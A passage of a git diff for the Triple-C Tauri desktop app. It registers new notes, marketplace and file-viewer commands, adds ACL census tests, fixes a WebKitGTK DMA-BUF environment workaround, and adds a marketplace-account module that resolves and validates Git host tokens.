@@ -454,6 +507,10 @@ pub fn run() {
|
||||
commands::project_commands::stop_project_container,
|
||||
commands::project_commands::rebuild_project_container,
|
||||
commands::project_commands::reconcile_project_statuses,
|
||||
// Notes
|
||||
commands::notes_commands::list_notes,
|
||||
commands::notes_commands::save_note,
|
||||
commands::notes_commands::delete_note,
|
||||
// Container base-image migration
|
||||
commands::migration_commands::get_container_staleness,
|
||||
commands::migration_commands::migrate_project_to_base,
|
||||
@@ -486,6 +543,28 @@ pub fn run() {
|
||||
commands::auth_token_commands::has_claude_token,
|
||||
commands::auth_token_commands::clear_claude_token,
|
||||
commands::auth_token_commands::sweep_claude_token_snapshots,
|
||||
// Marketplace
|
||||
commands::marketplace_commands::list_marketplace_snapshots,
|
||||
commands::marketplace_commands::refresh_marketplaces,
|
||||
commands::marketplace_commands::add_marketplace,
|
||||
commands::marketplace_commands::update_marketplace,
|
||||
commands::marketplace_commands::remove_marketplace,
|
||||
commands::marketplace_commands::install_marketplace_item,
|
||||
commands::marketplace_commands::uninstall_marketplace_item,
|
||||
commands::marketplace_commands::set_global_item_disabled,
|
||||
commands::marketplace_commands::forget_marketplace_installs,
|
||||
commands::marketplace_commands::list_marketplace_updates,
|
||||
commands::marketplace_commands::marketplace_item_diff,
|
||||
commands::marketplace_commands::update_marketplace_item,
|
||||
commands::marketplace_commands::apply_marketplace_now,
|
||||
commands::marketplace_commands::get_marketplace_sync_report,
|
||||
commands::marketplace_commands::add_marketplace_token_account,
|
||||
commands::marketplace_commands::add_marketplace_gh_host_account,
|
||||
commands::marketplace_commands::start_marketplace_gh_container_login,
|
||||
commands::marketplace_commands::cancel_marketplace_gh_login,
|
||||
commands::marketplace_commands::test_marketplace_account,
|
||||
commands::marketplace_commands::remove_marketplace_account,
|
||||
commands::marketplace_commands::marketplace_gh_host_available,
|
||||
// Settings
|
||||
commands::settings_commands::get_settings,
|
||||
commands::settings_commands::update_settings,
|
||||
@@ -494,6 +573,10 @@ pub fn run() {
|
||||
commands::settings_commands::inspect_ca_cert_path,
|
||||
commands::settings_commands::list_aws_profiles,
|
||||
commands::settings_commands::detect_host_timezone,
|
||||
// Settings export/import
|
||||
commands::settings_export_commands::export_settings,
|
||||
commands::settings_export_commands::preview_settings_import,
|
||||
commands::settings_export_commands::apply_settings_import,
|
||||
// Terminal
|
||||
commands::terminal_commands::open_terminal_session,
|
||||
commands::terminal_commands::terminal_input,
|
||||
@@ -512,6 +595,13 @@ pub fn run() {
|
||||
commands::file_commands::read_container_file,
|
||||
commands::file_commands::rename_container_path,
|
||||
commands::file_commands::create_container_directory,
|
||||
// Terminal file viewer
|
||||
commands::file_viewer_commands::open_file_viewer,
|
||||
commands::file_viewer_commands::viewer_get_state,
|
||||
commands::file_viewer_commands::viewer_choose_file,
|
||||
commands::file_viewer_commands::viewer_read_file,
|
||||
commands::file_viewer_commands::viewer_poll_file,
|
||||
commands::file_viewer_commands::viewer_write_file,
|
||||
// AWS
|
||||
commands::aws_commands::aws_sso_refresh,
|
||||
// Updates
|
||||
@@ -520,6 +610,9 @@ pub fn run() {
|
||||
commands::update_commands::check_image_update,
|
||||
// Help
|
||||
commands::help_commands::get_help_content,
|
||||
// Opening a link in the host browser (see `url_open` for why this
|
||||
// is not `@tauri-apps/plugin-opener` on Linux)
|
||||
url_open::open_url_external,
|
||||
// Install helper
|
||||
commands::install_helper_commands::detect_install_options,
|
||||
commands::install_helper_commands::run_docker_install,
|
||||
@@ -799,30 +892,11 @@ mod tests {
|
||||
&mut defined,
|
||||
);
|
||||
|
||||
// The registration list, read from this file rather than from a macro
|
||||
// expansion so the test does not depend on `generate_handler!`'s shape.
|
||||
let this = include_str!("lib.rs");
|
||||
let handler = this
|
||||
.split_once("generate_handler![")
|
||||
.and_then(|(_, rest)| rest.split_once("])"))
|
||||
.map(|(inside, _)| inside)
|
||||
// The registration list, read from this file by the same parser `build.rs` uses to
|
||||
// declare the AppManifest — so if this test can see a command, the ACL can too.
|
||||
let ordered = crate::command_census::registered_commands(include_str!("lib.rs"))
|
||||
.expect("lib.rs should contain a generate_handler! list");
|
||||
// Line-based, not `split(',')`: the list is grouped under `// Docker`
|
||||
// style comments, and splitting on commas glues each comment to the
|
||||
// command that follows it. A `starts_with("//")` filter then drops that
|
||||
// command — silently, and once per group.
|
||||
let registered: BTreeSet<String> = handler
|
||||
.lines()
|
||||
.map(str::trim)
|
||||
.filter(|l| !l.is_empty() && !l.starts_with("//"))
|
||||
.filter_map(|l| {
|
||||
l.trim_end_matches(',')
|
||||
.rsplit("::")
|
||||
.next()
|
||||
.map(|n| n.trim().to_string())
|
||||
})
|
||||
.filter(|n| !n.is_empty())
|
||||
.collect();
|
||||
let registered: BTreeSet<String> = ordered.iter().cloned().collect();
|
||||
|
||||
assert!(
|
||||
!defined.is_empty() && !registered.is_empty(),
|
||||
@@ -851,21 +925,11 @@ mod tests {
|
||||
// passed here.
|
||||
let mut seen: Vec<&str> = Vec::new();
|
||||
let mut duplicated: Vec<&str> = Vec::new();
|
||||
for line in handler
|
||||
.lines()
|
||||
.map(str::trim)
|
||||
.filter(|l| !l.is_empty() && !l.starts_with("//"))
|
||||
{
|
||||
if let Some(name) = line.trim_end_matches(',').rsplit("::").next() {
|
||||
let name = name.trim();
|
||||
if name.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if seen.contains(&name) {
|
||||
duplicated.push(name);
|
||||
} else {
|
||||
seen.push(name);
|
||||
}
|
||||
for name in &ordered {
|
||||
if seen.contains(&name.as_str()) {
|
||||
duplicated.push(name);
|
||||
} else {
|
||||
seen.push(name);
|
||||
}
|
||||
}
|
||||
assert!(
|
||||
@@ -894,7 +958,10 @@ mod tests {
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut sorted = listed.clone();
|
||||
// Plugin and core grants: the exact reviewed list, unchanged by the lockdown.
|
||||
let (bare, prefixed): (Vec<String>, Vec<String>) =
|
||||
listed.iter().cloned().partition(|g| !g.contains(':'));
|
||||
let mut sorted = prefixed;
|
||||
sorted.sort();
|
||||
let mut expected = vec![
|
||||
"core:event:allow-listen",
|
||||
@@ -902,16 +969,35 @@ mod tests {
|
||||
"core:webview:allow-internal-toggle-devtools",
|
||||
"dialog:allow-open",
|
||||
"dialog:allow-save",
|
||||
"opener:allow-open-url",
|
||||
];
|
||||
expected.sort();
|
||||
assert_eq!(
|
||||
sorted, expected,
|
||||
"the capability set changed. That is allowed — but it is the IPC \
|
||||
"the plugin/core capability set changed. That is allowed — but it is the IPC \
|
||||
surface a compromised webview can call, so update this list \
|
||||
deliberately rather than to make the test pass."
|
||||
);
|
||||
|
||||
// App commands: since build.rs declares the AppManifest, the bare `allow-*` grants
|
||||
// are the complete list of app commands the main window may call. `build.rs` already
|
||||
// fails the build when they disagree with generate_handler!; this keeps the reviewed
|
||||
// rule ("every non-viewer command, exactly") visible where the plugin census lives.
|
||||
let registered = crate::command_census::registered_commands(include_str!("lib.rs"))
|
||||
.expect("lib.rs should contain a generate_handler! list");
|
||||
let mut expected_bare: Vec<String> = registered
|
||||
.iter()
|
||||
.filter(|c| crate::command_census::expected_windows(c) == ["main"])
|
||||
.map(|c| crate::command_census::allow_permission(c))
|
||||
.collect();
|
||||
expected_bare.sort();
|
||||
let mut bare = bare;
|
||||
bare.sort();
|
||||
assert_eq!(
|
||||
bare, expected_bare,
|
||||
"default.json's app-command grants must be exactly the main-window commands"
|
||||
);
|
||||
assert!(bare.len() >= 100, "the census found {} app grants; the parser has stopped seeing the list", bare.len());
|
||||
|
||||
// Belt and braces: the `*:default` aliases are the specific trap here,
|
||||
// because they expand to a set the file never spells out. `store:*` in
|
||||
// particular was an arbitrary host-file read/write primitive.
|
||||
@@ -929,4 +1015,100 @@ mod tests {
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// `build.rs` derives the AppManifest from the handler list and this reads back what
|
||||
/// tauri-build actually embedded. `cargo test` runs the build script first, so
|
||||
/// `gen/schemas/acl-manifests.json` is fresh. This guards against the committed/generated
|
||||
/// artifact diverging from `generate_handler!` — a stale `acl-manifests.json`, or a
|
||||
/// tauri-build naming change — using the same `registered_commands` parser `build.rs` used
|
||||
/// to derive the manifest in the first place. It is *not* independent of a parser dropout on
|
||||
/// its own: if `registered_commands` lost half the list, `build.rs` would declare half a
|
||||
/// manifest and this would still compare it against the same half. That guarantee is
|
||||
/// transitive, not local — `every_command_is_registered_exactly_once` covers it, by
|
||||
/// cross-checking the parser's output against an independent `#[tauri::command]` scan, so a
|
||||
/// parser regression that silently dropped commands fails there rather than going unnoticed
|
||||
/// here.
|
||||
#[test]
|
||||
fn the_generated_app_manifest_matches_the_handler_list() {
|
||||
use std::collections::BTreeSet;
|
||||
|
||||
let path = concat!(env!("CARGO_MANIFEST_DIR"), "/gen/schemas/acl-manifests.json");
|
||||
let raw = std::fs::read_to_string(path)
|
||||
.expect("gen/schemas/acl-manifests.json is written by build.rs on every build");
|
||||
let manifests: serde_json::Value =
|
||||
serde_json::from_str(&raw).expect("acl-manifests.json must parse");
|
||||
let app = manifests.get("__app-acl__").expect(
|
||||
"build.rs must declare an AppManifest — without it tauri skips the ACL for every \
|
||||
app command",
|
||||
);
|
||||
let embedded: BTreeSet<String> = app["permissions"]
|
||||
.as_object()
|
||||
.expect("the app manifest has a permissions map")
|
||||
.keys()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
let registered = crate::command_census::registered_commands(include_str!("lib.rs"))
|
||||
.expect("lib.rs should contain a generate_handler! list");
|
||||
let expected: BTreeSet<String> = registered
|
||||
.iter()
|
||||
.flat_map(|c| {
|
||||
let allow = crate::command_census::allow_permission(c);
|
||||
let deny = format!("deny-{}", &allow["allow-".len()..]);
|
||||
[allow, deny]
|
||||
})
|
||||
.collect();
|
||||
|
||||
assert!(registered.len() >= 100, "the parser sees {} commands", registered.len());
|
||||
assert_eq!(
|
||||
embedded, expected,
|
||||
"the embedded app manifest and generate_handler! disagree: build.rs and \
|
||||
tauri-build should have produced the same list"
|
||||
);
|
||||
assert!(
|
||||
app["permission_sets"].as_object().is_some_and(|s| s.is_empty()),
|
||||
"no permission sets: every grant is a literal allow-* string in a capability file"
|
||||
);
|
||||
assert!(app["default_permission"].is_null(), "no app `default` permission set");
|
||||
}
|
||||
|
||||
/// `build.rs`'s `check_tauri_config` (inline `app.security.capabilities`, a JSON5/TOML tauri
|
||||
/// config, `TAURI_CONFIG`) only runs inside the build script, so it only re-runs on a clean
|
||||
/// build or in CI — cargo's incremental build has no reason to notice a new
|
||||
/// `tauri.<platform>.conf.json` dropped into an already-built tree (CLAUDE.md, "Known
|
||||
/// limit"). This runs the same check, using the same `command_census` functions build.rs
|
||||
/// calls, directly against the real `app/src-tauri` directory on every `cargo test`, so that
|
||||
/// gap is closed locally too.
|
||||
#[test]
|
||||
fn the_tauri_config_capability_check_runs_against_the_real_tree() {
|
||||
let dir = env!("CARGO_MANIFEST_DIR");
|
||||
let mut problems = Vec::new();
|
||||
for entry in std::fs::read_dir(dir).expect("readable src-tauri/") {
|
||||
let path = entry.expect("readable entry in src-tauri/").path();
|
||||
let name = path
|
||||
.file_name()
|
||||
.expect("a directory entry has a file name")
|
||||
.to_string_lossy()
|
||||
.into_owned();
|
||||
match crate::command_census::tauri_config_file(&name) {
|
||||
None => {}
|
||||
Some(false) => problems.push(format!(
|
||||
"{name}: the census reads JSON tauri configs only; a JSON5/TOML config \
|
||||
could declare capabilities it cannot see"
|
||||
)),
|
||||
Some(true) => {
|
||||
let json =
|
||||
std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("{name}: {e}"));
|
||||
problems.extend(crate::command_census::tauri_config_problem(&name, &json));
|
||||
}
|
||||
}
|
||||
}
|
||||
if let Ok(json) = std::env::var("TAURI_CONFIG") {
|
||||
problems.extend(crate::command_census::tauri_config_problem("TAURI_CONFIG", &json));
|
||||
}
|
||||
assert!(
|
||||
problems.is_empty(),
|
||||
"cargo test found what build.rs would refuse on a clean build: {problems:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+115
-12
@@ -3,10 +3,19 @@
|
||||
|
||||
/// WebKitGTK's DMA-BUF renderer (its default accelerated-compositing path
|
||||
/// since 2.42) fails outright on some Mesa/driver/compositor combinations
|
||||
/// under Wayland, printing `Could not create default EGL display:
|
||||
/// EGL_BAD_PARAMETER. Aborting.` straight to stderr from WebKitGTK's own C
|
||||
/// code and killing the webview before Triple-C's own logging even starts —
|
||||
/// see triple-c#34, reported on CachyOS/Arch with Wayland.
|
||||
/// under Wayland, killing the webview and leaving a blank window — see
|
||||
/// triple-c#34, reported on CachyOS/Arch with Wayland.
|
||||
///
|
||||
/// **This is not the only cause of a blank window, and the error text alone
|
||||
/// does not tell them apart.** An earlier version of this comment quoted
|
||||
/// `Could not create default EGL display: EGL_BAD_PARAMETER. Aborting.` as
|
||||
/// the error this fixes. The AppImage produces that same string for an
|
||||
/// entirely unrelated reason: it bundled a `libwayland-client.so.0` that
|
||||
/// shadowed the host's, and the host's `libEGL_mesa.so.0` has a hard
|
||||
/// DT_NEEDED on that library, so the EGL driver failed to load before any
|
||||
/// renderer choice was reachable. This flag was set, and correctly, and made no difference —
|
||||
/// which cost a round of debugging that started from the comment rather than
|
||||
/// from the evidence. See `scripts/unbundle-wayland-client.sh`.
|
||||
///
|
||||
/// Set unconditionally on Linux rather than gated on `WAYLAND_DISPLAY`: that
|
||||
/// variable is exported into an XWayland client's environment too, so a
|
||||
@@ -26,12 +35,27 @@
|
||||
/// their own init time, which happens inside the Tauri builder that
|
||||
/// function calls into, not at binary load.
|
||||
///
|
||||
/// A user who has already set this themselves is left alone. That includes
|
||||
/// setting it to `0`, on the assumption WebKitGTK treats it as a boolean
|
||||
/// rather than presence-only — not verified against WebKitGTK's own source,
|
||||
/// so if it turns out to be presence-only, `=0` still reads as "set" here
|
||||
/// and disables DMA-BUF the same as any other value, which is at least the
|
||||
/// safe direction to be wrong in.
|
||||
/// A user who has already set this themselves is left alone — with one
|
||||
/// correction. The earlier version of this function left *any* pre-set value
|
||||
/// alone, including `0`, on the assumption WebKitGTK reads the variable as a
|
||||
/// boolean. WebKitGTK reads it as presence-only, so `WEBKIT_DISABLE_DMABUF_
|
||||
/// RENDERER=0` disabled DMA-BUF exactly like `=1` did, and there was no value
|
||||
/// at all a user could set to get the accelerated path back: the escape hatch
|
||||
/// the comment described did not exist. `0`, `false` and empty are now treated
|
||||
/// as an explicit opt-out and the variable is *removed*, which is the only
|
||||
/// thing WebKitGTK reads as "enabled". The default is unchanged — unset still
|
||||
/// means disabled on Linux, so nobody who was not deliberately overriding this
|
||||
/// sees any difference.
|
||||
///
|
||||
/// That matters more than it looks, because the trade described above is not
|
||||
/// the trade actually being made. `@xterm/addon-webgl` does not fall back to
|
||||
/// the canvas renderer here: its constructor throws only when WebGL is
|
||||
/// *absent*, and with DMA-BUF disabled WebGL is still present — served by
|
||||
/// software rasterisation. So the addon loads happily and every terminal frame
|
||||
/// is rendered on the CPU and copied, which is slower than the canvas renderer
|
||||
/// this comment assumed it would degrade to, not faster. See
|
||||
/// `terminal_gpu_rendering` in `AppSettings` for the switch that decides
|
||||
/// whether the addon is loaded at all.
|
||||
///
|
||||
/// This env var also leaks to whatever the app spawns afterwards — notably
|
||||
/// a cold-launched default browser via the `opener` plugin's `xdg-open`
|
||||
@@ -39,14 +63,93 @@
|
||||
/// URL; most non-WebKitGTK browsers ignore the variable entirely), but
|
||||
/// worth knowing before chasing the "links don't open" half of triple-c#34
|
||||
/// as a separate, unrelated cause.
|
||||
///
|
||||
/// That leak is now plugged rather than merely documented: `url_open` hands
|
||||
/// the opener a child environment with this variable (and the AppImage's own
|
||||
/// `LD_LIBRARY_PATH`/`GTK_PATH`/... ) restored or removed. Setting it here
|
||||
/// stays process-wide because GTK/WebKitGTK need it; what changed is that the
|
||||
/// children no longer inherit it.
|
||||
#[cfg(target_os = "linux")]
|
||||
const DMABUF_VAR: &str = "WEBKIT_DISABLE_DMABUF_RENDERER";
|
||||
|
||||
/// What to do with `WEBKIT_DISABLE_DMABUF_RENDERER`, given whatever it is
|
||||
/// already set to. Split from the mutation so it can be tested without
|
||||
/// touching process-wide environment state from a parallel test runner.
|
||||
#[cfg(target_os = "linux")]
|
||||
#[derive(Debug, PartialEq, Eq)]
|
||||
enum DmabufAction {
|
||||
/// Not set by the user — apply the workaround.
|
||||
Disable,
|
||||
/// Explicitly opted out. WebKitGTK reads presence, not value, so the only
|
||||
/// way to express "enabled" is for the variable not to exist.
|
||||
Remove,
|
||||
/// Set to something meaning "disabled". Already what we want; leave it.
|
||||
LeaveAlone,
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn dmabuf_action(current: Option<&str>) -> DmabufAction {
|
||||
match current {
|
||||
None => DmabufAction::Disable,
|
||||
Some(value) => match value.trim().to_ascii_lowercase().as_str() {
|
||||
"" | "0" | "false" | "no" => DmabufAction::Remove,
|
||||
_ => DmabufAction::LeaveAlone,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn apply_webkit_wayland_workaround() {
|
||||
if std::env::var_os("WEBKIT_DISABLE_DMABUF_RENDERER").is_none() {
|
||||
std::env::set_var("WEBKIT_DISABLE_DMABUF_RENDERER", "1");
|
||||
let current = std::env::var(DMABUF_VAR).ok();
|
||||
match dmabuf_action(current.as_deref()) {
|
||||
DmabufAction::Disable => std::env::set_var(DMABUF_VAR, "1"),
|
||||
DmabufAction::Remove => std::env::remove_var(DMABUF_VAR),
|
||||
DmabufAction::LeaveAlone => {}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(all(test, target_os = "linux"))]
|
||||
mod tests {
|
||||
use super::{dmabuf_action, DmabufAction};
|
||||
|
||||
#[test]
|
||||
fn unset_gets_the_workaround() {
|
||||
assert_eq!(dmabuf_action(None), DmabufAction::Disable);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn falsey_values_opt_out_by_removing_the_variable() {
|
||||
// The bug this replaces: these all previously read as "user set it,
|
||||
// leave it alone", and WebKitGTK then disabled DMA-BUF anyway because
|
||||
// it only checks presence. There was no way to ask for the GPU path.
|
||||
for value in ["0", "false", "no", "", " 0 ", "FALSE", "No"] {
|
||||
assert_eq!(
|
||||
dmabuf_action(Some(value)),
|
||||
DmabufAction::Remove,
|
||||
"{value:?} should opt out"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn other_values_are_left_alone() {
|
||||
for value in ["1", "true", "yes", "anything"] {
|
||||
assert_eq!(
|
||||
dmabuf_action(Some(value)),
|
||||
DmabufAction::LeaveAlone,
|
||||
"{value:?} should be left alone"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
// Before *any* `std::env::set_var` — `url_open` hands a child process the
|
||||
// environment this app was started with, and the workaround below is one
|
||||
// of the things that must not leak into it (see triple-c#34). Anything
|
||||
// added here that mutates the environment belongs after this line.
|
||||
triple_c_lib::url_open::capture_pristine_environment();
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
apply_webkit_wayland_workaround();
|
||||
|
||||
|
||||
@@ -0,0 +1,652 @@
|
||||
//! Marketplace accounts: where a fetch credential comes from, checking a
|
||||
//! pasted token, and turning a failed fetch into advice a person can act on.
|
||||
//!
|
||||
//! Nothing here logs, returns or formats a token into an error string. A
|
||||
//! `GhHost` account stores nothing at all: its token is asked of the host's
|
||||
//! `gh` every time, so a later `gh auth refresh` or logout takes effect.
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::marketplace::git::{Credential, FetchError};
|
||||
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum HostKind {
|
||||
GitHub,
|
||||
Gitea,
|
||||
GitLab,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
/// Known by name only; Gitea (and self-hosted GitLab) are recognised by
|
||||
/// probing their API in [`validate_token`].
|
||||
pub fn host_kind(host: &str) -> HostKind {
|
||||
match host.to_ascii_lowercase().as_str() {
|
||||
"github.com" => HostKind::GitHub,
|
||||
"gitlab.com" => HostKind::GitLab,
|
||||
_ => HostKind::Unknown,
|
||||
}
|
||||
}
|
||||
|
||||
/// `host[:port]` characters only — also what keeps a host safe as a `gh` argument.
|
||||
///
|
||||
/// This is a character-set check, not full `host:port` validation — it does
|
||||
/// not bound a port to 0–65535 or otherwise parse the `:port` suffix. A
|
||||
/// caller that needs that (e.g. a host validator layered on top of this one)
|
||||
/// checks the port itself.
|
||||
///
|
||||
/// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use
|
||||
/// this same rule instead of a divergent copy (pre-flight F13).
|
||||
pub(crate) fn valid_host(host: &str) -> bool {
|
||||
!host.is_empty()
|
||||
&& host.len() <= 253
|
||||
&& !host.starts_with('-')
|
||||
&& host
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'-' | b':'))
|
||||
}
|
||||
|
||||
/// The host of an `https://` marketplace URL, lowercased, with a non-default port kept.
|
||||
pub fn host_of(url: &str) -> Result<String, String> {
|
||||
// Pre-flight N17: never echo the raw URL back on a parse failure — a
|
||||
// malformed URL can carry `user:token@` and this is the one branch that
|
||||
// has not already stripped it.
|
||||
let parsed = url::Url::parse(url.trim()).map_err(|e| format!("Not a valid URL: {}", e))?;
|
||||
if parsed.scheme() != "https" {
|
||||
return Err("Only https:// marketplace URLs are supported.".to_string());
|
||||
}
|
||||
if !parsed.username().is_empty() || parsed.password().is_some() {
|
||||
return Err("Put credentials in a marketplace account, not in the URL.".to_string());
|
||||
}
|
||||
let host = parsed
|
||||
.host_str()
|
||||
.ok_or_else(|| "The URL has no host".to_string())?
|
||||
.to_ascii_lowercase();
|
||||
let host = match parsed.port() {
|
||||
Some(port) => format!("{}:{}", host, port),
|
||||
None => host,
|
||||
};
|
||||
if !valid_host(&host) {
|
||||
return Err(format!("{:?} is not a supported host name", host));
|
||||
}
|
||||
Ok(host)
|
||||
}
|
||||
|
||||
/// The username sent with the token over HTTPS.
|
||||
pub fn fetch_username(account: &MarketplaceAccount) -> String {
|
||||
if host_kind(&account.host) == HostKind::GitHub {
|
||||
return "x-access-token".to_string();
|
||||
}
|
||||
account
|
||||
.username
|
||||
.clone()
|
||||
.filter(|u| !u.trim().is_empty())
|
||||
.unwrap_or_else(|| "oauth2".to_string())
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Host `gh`
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
const GH_TIMEOUT: Duration = Duration::from_secs(15);
|
||||
|
||||
/// Run the host's `gh` with a plain argv (no shell) and return trimmed stdout.
|
||||
async fn run_gh(args: &[&str]) -> Result<String, String> {
|
||||
let mut cmd = tokio::process::Command::new("gh");
|
||||
cmd.args(args)
|
||||
.stdin(std::process::Stdio::null())
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.kill_on_drop(true);
|
||||
let output = tokio::time::timeout(GH_TIMEOUT, cmd.output())
|
||||
.await
|
||||
.map_err(|_| "gh did not answer within 15 seconds".to_string())?
|
||||
.map_err(|e| format!("Could not run gh: {}", e))?;
|
||||
if !output.status.success() {
|
||||
let stderr = String::from_utf8_lossy(&output.stderr);
|
||||
return Err(stderr
|
||||
.lines()
|
||||
.next()
|
||||
.unwrap_or("gh failed")
|
||||
.trim()
|
||||
.to_string());
|
||||
}
|
||||
Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
|
||||
}
|
||||
|
||||
pub async fn gh_host_available() -> bool {
|
||||
run_gh(&["--version"]).await.is_ok()
|
||||
}
|
||||
|
||||
fn gh_login_instructions(host: &str) -> String {
|
||||
format!(
|
||||
"gh on this computer is not logged in to {host}. Run `gh auth login --hostname {host}` \
|
||||
in a terminal, then try again.",
|
||||
host = host
|
||||
)
|
||||
}
|
||||
|
||||
/// The login name `gh` on the host is signed in as for `host`.
|
||||
pub async fn gh_host_login(host: &str) -> Result<String, String> {
|
||||
if !valid_host(host) {
|
||||
return Err(format!("{:?} is not a supported host name", host));
|
||||
}
|
||||
run_gh(&["auth", "status", "--hostname", host])
|
||||
.await
|
||||
.map_err(|_| gh_login_instructions(host))?;
|
||||
let login = run_gh(&["api", "user", "--hostname", host, "--jq", ".login"]).await?;
|
||||
if login.is_empty() {
|
||||
return Err(gh_login_instructions(host));
|
||||
}
|
||||
Ok(login)
|
||||
}
|
||||
|
||||
/// Resolve the credential for an account: `GhHost` → `gh auth token
|
||||
/// --hostname <host>`; `GhContainer`/`Token` → the keychain.
|
||||
pub async fn resolve_credential(account: &MarketplaceAccount) -> Result<Credential, String> {
|
||||
let password = match account.method {
|
||||
AccountMethod::GhHost => {
|
||||
if !valid_host(&account.host) {
|
||||
return Err(format!("{:?} is not a supported host name", account.host));
|
||||
}
|
||||
let token = run_gh(&["auth", "token", "--hostname", &account.host])
|
||||
.await
|
||||
.map_err(|_| gh_login_instructions(&account.host))?;
|
||||
if token.is_empty() {
|
||||
return Err(gh_login_instructions(&account.host));
|
||||
}
|
||||
token
|
||||
}
|
||||
AccountMethod::GhContainer | AccountMethod::Token => {
|
||||
crate::storage::secure::get_marketplace_token(&account.id)?.ok_or_else(|| {
|
||||
format!(
|
||||
"No token is stored for the account \"{}\". Remove it and sign in again.",
|
||||
account.label
|
||||
)
|
||||
})?
|
||||
}
|
||||
};
|
||||
Ok(Credential {
|
||||
username: fetch_username(account),
|
||||
password,
|
||||
})
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Token validation
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Debug, PartialEq, Eq)]
|
||||
enum Probe {
|
||||
Login(String),
|
||||
Rejected(u16),
|
||||
NotThisKind,
|
||||
}
|
||||
|
||||
fn http_client() -> Result<reqwest::Client, String> {
|
||||
reqwest::Client::builder()
|
||||
.user_agent("Triple-C")
|
||||
.timeout(Duration::from_secs(15))
|
||||
// reqwest's default policy follows up to 10 redirects and only
|
||||
// strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate
|
||||
// on a cross-*host* hop — GitLab's PRIVATE-TOKEN header (and any
|
||||
// header on a same-host https→http downgrade) would otherwise
|
||||
// follow the token to wherever the response points. Never follow;
|
||||
// `who_am_i` treats the resulting 3xx like an unrecognised API.
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.build()
|
||||
.map_err(|e| format!("Could not create an HTTP client: {}", e))
|
||||
}
|
||||
|
||||
/// One "who am I" call. `base` is the API root for GitHub
|
||||
/// (`https://api.github.com`) and the site root for Gitea/GitLab.
|
||||
async fn who_am_i(
|
||||
client: &reqwest::Client,
|
||||
kind: HostKind,
|
||||
base: &str,
|
||||
token: &str,
|
||||
) -> Result<Probe, String> {
|
||||
let (url, header, value, field) = match kind {
|
||||
HostKind::GitHub => (
|
||||
format!("{}/user", base),
|
||||
"Authorization",
|
||||
format!("Bearer {}", token),
|
||||
"login",
|
||||
),
|
||||
HostKind::Gitea => (
|
||||
format!("{}/api/v1/user", base),
|
||||
"Authorization",
|
||||
format!("token {}", token),
|
||||
"login",
|
||||
),
|
||||
HostKind::GitLab => (
|
||||
format!("{}/api/v4/user", base),
|
||||
"PRIVATE-TOKEN",
|
||||
token.to_string(),
|
||||
"username",
|
||||
),
|
||||
HostKind::Unknown => return Ok(Probe::NotThisKind),
|
||||
};
|
||||
let response = client
|
||||
.get(&url)
|
||||
.header(header, value)
|
||||
.header("Accept", "application/json")
|
||||
.send()
|
||||
.await
|
||||
// reqwest's error text carries the URL, never the header.
|
||||
.map_err(|e| format!("Could not reach {}: {}", base, e.without_url()))?;
|
||||
let status = response.status().as_u16();
|
||||
match status {
|
||||
200 => {
|
||||
let json: serde_json::Value = match response.json().await {
|
||||
Ok(json) => json,
|
||||
Err(_) => return Ok(Probe::NotThisKind),
|
||||
};
|
||||
match json.get(field).and_then(|v| v.as_str()) {
|
||||
Some(login) if !login.is_empty() => Ok(Probe::Login(login.to_string())),
|
||||
_ => Ok(Probe::NotThisKind),
|
||||
}
|
||||
}
|
||||
401 | 403 => Ok(Probe::Rejected(status)),
|
||||
404 => Ok(Probe::NotThisKind),
|
||||
// The client never follows redirects (see `http_client`); a 3xx here
|
||||
// means this API would have sent the token onward, so treat it the
|
||||
// same as a host that isn't this kind rather than as an error.
|
||||
300..=399 => Ok(Probe::NotThisKind),
|
||||
other => Err(format!(
|
||||
"{} answered HTTP {} when checking the token",
|
||||
base, other
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
fn rejected(host: &str, status: u16) -> String {
|
||||
format!(
|
||||
"{} rejected the token (HTTP {}). Check that it has not expired and can read repositories.",
|
||||
host, status
|
||||
)
|
||||
}
|
||||
|
||||
/// GitHub is asked at `github_api`; anything else is probed as Gitea, then
|
||||
/// GitLab, at `site`. `Ok(None)`: the host is neither, so the token could not
|
||||
/// be checked here — the marketplace's test fetch checks it instead.
|
||||
async fn validate_token_at(
|
||||
host: &str,
|
||||
github_api: Option<&str>,
|
||||
site: &str,
|
||||
token: &str,
|
||||
) -> Result<Option<String>, String> {
|
||||
let client = http_client()?;
|
||||
if let Some(api) = github_api {
|
||||
return match who_am_i(&client, HostKind::GitHub, api, token).await? {
|
||||
Probe::Login(login) => Ok(Some(login)),
|
||||
Probe::Rejected(status) => Err(rejected(host, status)),
|
||||
Probe::NotThisKind => Err(format!("{} did not return a user for this token", host)),
|
||||
};
|
||||
}
|
||||
for kind in [HostKind::Gitea, HostKind::GitLab] {
|
||||
